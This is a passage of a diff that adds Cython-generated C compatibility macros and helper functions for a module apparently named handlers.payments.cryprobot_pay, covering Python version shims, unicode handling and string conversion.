Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__cryprobot_pay +#define __PYX_HAVE_API__handlers__payments__cryprobot_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define 